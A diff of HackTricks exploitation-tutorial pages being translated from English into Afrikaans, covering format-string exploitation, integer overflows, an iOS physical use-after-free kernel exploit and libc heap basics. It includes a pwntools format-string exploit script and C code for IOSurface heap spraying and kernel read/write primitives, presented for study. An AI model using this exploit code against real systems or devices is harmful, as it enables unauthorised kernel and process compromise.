@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow
# Heelgetal Oorloop
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
In die hart van 'n **heelgetal oorloop** is die beperking wat opgelê word deur die **grootte** van datatipes in rekenaarprogrammering en die **interpretasie** van die data.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Byvoorbeeld, 'n **8-bis ongetekende heelgetal** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bis ongetekende heelgetal te stoor, draai dit terug na 0 weens die beperking van sy stoor kapasiteit. Op soortgelyke wyse, vir 'n **16-bis ongetekende heelgetal**, wat waardes van **0 tot 65,535** kan hou, sal die toevoeging van 1 by 65,535 die waarde terugdraai na 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
Boonop kan 'n **8-bis getekende heelgetal** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) voor te stel, wat 7 bits laat om die grootte voor te stel. Die mees negatiewe getal word voorgestel as **-128** (binêr `10000000`), en die mees positiewe getal is **127** (binêr `01111111`).
### Max values
### Maks waardes
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Vir potensiële **web kwesbaarhede** is dit baie interessant om die maksimum ondersteunde waardes te weet:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Voorbeelde
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Eenvoudige oorgang
Die geprinte resultaat sal 0 wees aangesien ons die char oorgeloop het:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Getekende na Ongetekende Omskakeling
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Oorweeg 'n situasie waar 'n getekende heelgetal uit gebruikersinvoer gelees word en dan in 'n konteks gebruik word wat dit as 'n ongetekende heelgetal behandel, sonder behoorlike validasie:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
In hierdie voorbeeld, as 'n gebruiker 'n negatiewe getal invoer, sal dit geïnterpreteer word as 'n groot ongetekende heelgetal weens die manier waarop binêre waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Ander Voorbeelde
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, so dit is moontlik om dit te oorloop en dit te laat dink dit is 'n lengte van 4 terwyl dit eintlik 260 is om die lengtekontrole beskerming te omseil.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Gegee 'n paar getalle, vind uit met behulp van z3 'n nuwe getal wat vermenigvuldig met die eerste een die tweede een sal gee:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, so dit is moontlik om dit te oorloop en dit te laat dink dit is 'n lengte van 4 terwyl dit eintlik 260 is om die lengtekontrole beskerming te omseil en die volgende plaaslike veranderlike in die stapel te oorskry en albei beskermings te omseil.
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Dit **verander nie in ARM64 nie** soos jy kan sien in [**hierdie blogpos**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,212 +1,203 @@
# iOS Exploiting
## Physical use-after-free
## Fisiese gebruik-na-vry
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsytabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal.
#### Levels of Page Tables in iOS
#### Vlakke van Bladsytabelle in iOS
Page tables are organized hierarchically in three levels:
Bladsytabelle is hiërargies georganiseer in drie vlakke:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **L1 Bladsy Tabel (Vlak 1)**:
* Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
2. **L2 Bladsy Tabel (Vlak 2)**:
* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
3. **L3 Bladsy Tabel (Vlak 3)**:
* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheuebladsy kaart.
* 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
#### Mapping Virtual to Physical Memory
#### Kaarting van Virtuele na Fisiese Geheue
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* **Direkte Kaarting (Blok Kaarting)**:
* Sommige inskrywings in 'n bladsy tabel kaart direk **'n reeks van virtuele adresse** na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
* **Wys na Kind Bladsy Tabel**:
* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys.
#### Example: Mapping a Virtual Address
#### Voorbeeld: Kaarting van 'n Virtuele Adres
Lets say you try to access the virtual address **0x1000000000**:
Kom ons sê jy probeer om die virtuele adres **0x1000000000** te benader:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
1. **L1 Tabel**:
* Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
2. **L2 Tabel**:
* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen.
3. **L3 Tabel**:
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheuebladsy verwys.
#### Example of Address Mapping
#### Voorbeeld van Adres Kaarting
If you write the physical address **0x800004000** into the first index of the L2 table, then:
As jy die fisiese adres **0x800004000** in die eerste indeks van die L2 tabel skryf, dan:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* Virtuele adresse van **0x1000000000** tot **0x1002000000** kaart na fisiese adresse van **0x800004000** tot **0x802004000**.
* Dit is 'n **blok kaarting** op die L2 vlak.
Alternatively, if the L2 entry points to an L3 table:
Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* Elke 4 KB bladsy in die virtuele adres reeks **0x1000000000 -> 0x1002000000** sal deur individuele inskrywings in die L3 tabel gekaart word.
### Physical use-after-free
### Fisiese gebruik-na-vry
A **physical use-after-free** (UAF) occurs when:
'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
2. Die **bladsytabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan benader.
3. Die proses **deallocate** (vry) die geheue.
4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsytabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Dit beteken die proses kan toegang verkry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om **kernel geheue te manipuleer**.
### Exploitation Strategy: Heap Spray
### Ontginning Strategie: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer.
3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **te lees en te skryf na kernel geheue**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Stap-vir-Stap Heap Spray Proses
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Spuit IOSurface-objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe:
* Gebruik een veld om **enige 32-bit waarde** in kernel geheue te lees.
* Gebruik 'n ander veld om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
Genereer IOSurface-objekte met die magiese waarde IOSURFACE_MAGIC om later te soek:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Bereik Kernel Lees/Skryf met IOSurface
### Achieving Kernel Read/Write with IOSurface
Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**Belangrike Velde in IOSurface**
**Key Fields in IOSurface**
Die IOSurface objek het twee belangrike velde:
The IOSurface object has two crucial fields:
1. **Gebruik Tel Punter**: Laat 'n **32-bis lees** toe.
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bis skryf** toe.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### 32-Bit Kernel Lees
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Om 'n lees uit te voer:
1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Skryf
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Om 'n skryf te doen:
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/schryf** via IOSurface-metodes moontlik te maak.
Met hierdie primitiewe bied die exploit beheerde **32-bit lees** en **64-bit skryf** na kerngeheue. Verdere jailbreak-stappe kan meer stabiele lees/schryf primitiewe behels, wat dalk die omseiling van addisionele beskermings mag vereis (bv. PPL op nuwer arm64e toestelle).

View File

@ -1,197 +1,190 @@
# Libc Heap
## Heap Basics
## Heap Basiese
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanroep deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[heap]` afdeling):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
### Basiese Chunk Toewysing
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Wanneer sekere data aangevra word om in die heap gestoor te word, word 'n stuk ruimte in die heap aan dit toegeken. Hierdie ruimte sal aan 'n bin behoort en slegs die aangevraagde data + die ruimte van die bin kopstukke + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
- As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
- Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
- As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, sal die heap bestuurder 'n nuwe chunk skep.
- As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en dan hierdie geheue te gebruik om die nuwe chunk te genereer.
- As alles misluk, keer `malloc` null terug.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
In **multithreaded** toepassings moet die heap bestuurder **wedren toestande** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een draad die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie drade toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
